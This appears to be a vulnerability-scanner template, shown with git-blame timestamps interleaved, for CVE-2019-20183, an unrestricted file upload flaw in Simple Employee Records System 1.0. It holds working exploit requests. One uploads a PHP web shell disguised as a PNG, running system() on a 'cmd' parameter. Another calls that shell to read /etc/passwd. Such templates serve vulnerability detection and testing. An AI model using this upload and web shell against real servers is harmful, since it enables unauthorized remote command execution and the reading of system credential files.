2021-09-30 16:52:05 +00:00
id : CVE-2019-20183
2021-03-01 11:40:03 +00:00
info :
2022-06-10 15:47:17 +00:00
name : Simple Employee Records System 1.0 - Unrestricted File Upload
2021-03-01 11:40:03 +00:00
author : pikpikcu
2021-09-30 16:52:05 +00:00
severity : high
2022-06-20 16:38:15 +00:00
description : |
Simple Employee Records System 1.0 contains an arbitrary file upload vulnerability due to client-side validation of file extensions. This can be used to upload executable code to the server to obtain access or perform remote command execution.
2022-04-22 10:38:41 +00:00
reference :
- https://www.exploit-db.com/exploits/49596
2022-05-17 09:18:12 +00:00
- https://medium.com/@Pablo0xSantiago/cve-2019-20183-employee-records-system-bypass-file-upload-to-rce-ea2653660b34
2022-06-10 15:47:17 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2019-20183
2021-09-30 16:52:05 +00:00
classification :
2021-09-30 16:53:23 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
2021-09-30 16:52:05 +00:00
cvss-score : 7.2
cve-id : CVE-2019-20183
2022-04-22 10:38:41 +00:00
cwe-id : CWE-434
2022-08-27 04:41:18 +00:00
tags : upload,edb,cve,cve2019,rce,intrusive
2021-03-01 11:40:03 +00:00
requests :
- raw :
- |
POST /dashboard/uploadID.php HTTP/1.1
Host : {{Hostname}}
Accept : application/json, text/javascript, */*; q=0.01
2021-09-09 06:36:24 +00:00
X-Requested-With : XMLHttpRequest
2021-03-01 11:40:03 +00:00
Content-Type : multipart/form-data; boundary=---------------------------5825462663702204104870787337
-----------------------------5825462663702204104870787337
Content-Disposition : form-data; name="employee_ID"; filename="poc.php"
Content-Type : image/png
<?php
$cmd=$_GET['cmd'];
system($cmd);
? >
-----------------------------5825462663702204104870787337 --
2021-09-08 12:17:19 +00:00
2021-03-01 11:40:03 +00:00
- |
GET /uploads/employees_ids/{{endpoint}}?cmd=cat%20/etc/passwd HTTP/1.1
Host : {{Hostname}}
extractors :
- type : regex
name : endpoint
part : body
internal : true
regex :
- '(?:[a-zA-Z0-9+\/])*_poc.php'
matchers :
- type : regex
2022-06-20 16:38:15 +00:00
part : body
2021-03-01 11:40:03 +00:00
regex :
2022-03-22 08:01:31 +00:00
- "root:.*:0:0:"
2021-03-01 11:40:03 +00:00
condition : and
2022-06-10 15:47:17 +00:00
2022-06-17 16:17:02 +00:00
# Enhanced by mp on 2022/06/17